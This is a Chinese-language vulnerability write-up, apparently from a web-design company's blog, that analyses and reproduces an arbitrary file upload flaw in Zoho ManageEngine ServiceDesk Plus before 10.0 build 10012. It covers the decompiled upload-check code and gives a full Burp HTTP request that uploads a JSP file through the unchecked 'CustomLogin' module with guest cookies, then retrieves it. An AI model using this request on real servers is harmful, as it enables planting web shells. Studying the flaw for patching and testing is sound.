怎樣分析及復(fù)現(xiàn)Zoho 任意文件上傳漏洞,很多新手對(duì)此不是很清楚,為了幫助大家解決這個(gè)難題,下面小編將為大家詳細(xì)講解,有這方面需求的人可以來(lái)學(xué)習(xí)下,希望你能有所收獲。
成都創(chuàng)新互聯(lián)公司網(wǎng)站建設(shè)公司,提供成都做網(wǎng)站、網(wǎng)站設(shè)計(jì)、外貿(mào)營(yíng)銷網(wǎng)站建設(shè),網(wǎng)頁(yè)設(shè)計(jì),建網(wǎng)站,PHP網(wǎng)站建設(shè)等專業(yè)做網(wǎng)站服務(wù);可快速的進(jìn)行網(wǎng)站開(kāi)發(fā)網(wǎng)頁(yè)制作和功能擴(kuò)展;專業(yè)做搜索引擎喜愛(ài)的網(wǎng)站,是專業(yè)的做網(wǎng)站團(tuán)隊(duì),希望更多企業(yè)前來(lái)合作!
Zoho企業(yè)的產(chǎn)品 Zoho ManageEngine ServiceDesk Plus 是一套IT互聯(lián)網(wǎng)服務(wù)管理軟件,擁有資產(chǎn)管理、采購(gòu)管理、合同管理等功能模塊,提供一流的IT支持服務(wù)。
ServiceDesk Plus10.0 build 10012之前的版本產(chǎn)品存在任意文件上傳漏洞。具體來(lái)說(shuō),SDJSPClasses.jar包的FileAttachment_jsp.class僅檢查module參數(shù)為“SSP”、“DashBoard”、“HomePage”時(shí)的上傳文件類型,而未檢查module參數(shù)為“CustomLogin”時(shí)的上傳文件類型,導(dǎo)致惡意分子采用低權(quán)限guest用戶即能上傳、并任意訪問(wèn)jsp類可執(zhí)行命令的腳本文件。
Zohocorp ManageEngine ServiceDesk Plus
9.4 and 10.0 before 10.0 build 10012
version>=10.0 build 10013
Ubuntu16.04(服務(wù)器)
Windows 10(攻擊機(jī))
分析文件上傳邏輯,確定缺陷位置并上傳文件。
第一步,在服務(wù)端安裝 Zohocorp ManageEngine ServiceDesk Plus 10.0 build 10000,隨后啟動(dòng)服務(wù),下圖表示啟動(dòng)成功。
第二步,在攻擊機(jī)中,采用 Burp Suite 捕獲低權(quán)限guest用戶的cookie信息和數(shù)據(jù)包,以便開(kāi)展后續(xù)POC的構(gòu)建工作,如下。
第三步,分析服務(wù)端文件上傳核心代碼。打開(kāi)\ManageEngine\ServiceDesk\lib\SDJSPClasses.jar! \org\apache\jsp\common\FileAttachment_jsp.class,核心的文件上傳檢測(cè)代碼和注釋信息如下。
if (sizeOfFile < maxSize) {limitExceeded = false;filePath = "Attachments" + filSep + module + filSep + value;// 如果module參數(shù)是"CustomLogin",則直接將文件上傳至路徑"../custom/login"if (module.equals("CustomLogin")) {filePath = ".." + filSep + "custom" + filSep + "login";}File uploadedFile = new File(filePath + filSep + fileName);// 如果module參數(shù)是"SSP"、"DashBoard"、"HomePage",則檢查文件后綴是否是“htm”或“html”,如不是,則拒絕上傳if (module.equals("SSP") || module.equals("DashBoard") || module.equals("HomePage")) {String ext = "";int i = fileName.lastIndexOf(46);if (i > 0) {ext = fileName.substring(i + 1);if (!ext.equals("htm") && !ext.equals("html")) {out.write("\n
分析可知,服務(wù)器首先判斷module參數(shù)是否為“CustomLogin”,如是,則可直接上傳任意類型的文件至服務(wù)端,程序執(zhí)行完畢;否則繼續(xù)執(zhí)行代碼,進(jìn)入 module 參數(shù)屬于 "SSP"、"DashBoard"、"HomePage" 的判別過(guò)程。如果module 參數(shù)為 "SSP"、"DashBoard" 或 "HomePage",則進(jìn)行安全過(guò)濾僅可上傳 “htm”、“html” 類型文件至服務(wù)端。因此,當(dāng) module 參數(shù)是 “CustomLogin” 時(shí),可以上傳 jsp 腳本文件。
第四步,構(gòu)造 PoC。在 Burpsuite 中,構(gòu)造數(shù)據(jù)包如下。
POST /common/FileAttachment.jsp?module=CustomLogin&view=Dashboard1 HTTP/1.1Host: 192.168.6.135:8081Content-Length: 366Accept: */*Origin: http://192.168.6.135:8081X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Content-Type: multipart/form-data; boundary=----aaaReferer: http://192.168.6.135:8081/DashBoard.doAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9,vi;q=0.8Cookie: sdpcsrfcookie=bd678a1d-28b9-4eae-9d5d-f3a7e6f0bd88; servicedeskplus-_zldp=LsfUh%2FKeku9L3s3nPEJp8WNr%2BtCatkARgcAlZRum6ctL03zZZshSooiaABpQbhelmKwM1K1ctjo%3D; servicedeskplus-_zldt=01bc454f-6f2a-492e-889a-6d6b6ffde97d-2; SDPSESSIONID=B7BB216915E8FB5476DA8774161B9474; JSESSIONID=A7BEE85ED00E1AD81BB9E8081BA49D7D; JSESSIONIDSSO=601A38BD1F283CA55D289D78564E09CAConnection: close------aaaContent-Disposition: form-data; name="sspsetup"Attach------aaaContent-Disposition: form-data; name="module"CustomLogin------aaaContent-Disposition: form-data; name="filePath"; filename="test.jsp"Content-Type: text/htmlThis is shell content------aaaContent-Disposition: form-data; name="hmtlcontent"------aaa--
分析可知,訪問(wèn)擁有文件上傳功能的核心代碼,設(shè)置 module 參數(shù)為 “CustomLogin”,在內(nèi)容欄設(shè)置test.jsp文件的內(nèi)容是 “This is shell content”。
第五步,訪問(wèn)腳本文件。重新啟動(dòng)服務(wù)后,直接訪問(wèn)腳本文件。例如http://192.168.6.135:8081/custom/login/test.jsp,如下。
觀察可知,成功訪問(wèn)腳本文件,說(shuō)明任意文件上傳成功。
看完上述內(nèi)容是否對(duì)您有幫助呢?如果還想對(duì)相關(guān)知識(shí)有進(jìn)一步的了解或閱讀更多相關(guān)文章,請(qǐng)關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝您對(duì)創(chuàng)新互聯(lián)的支持。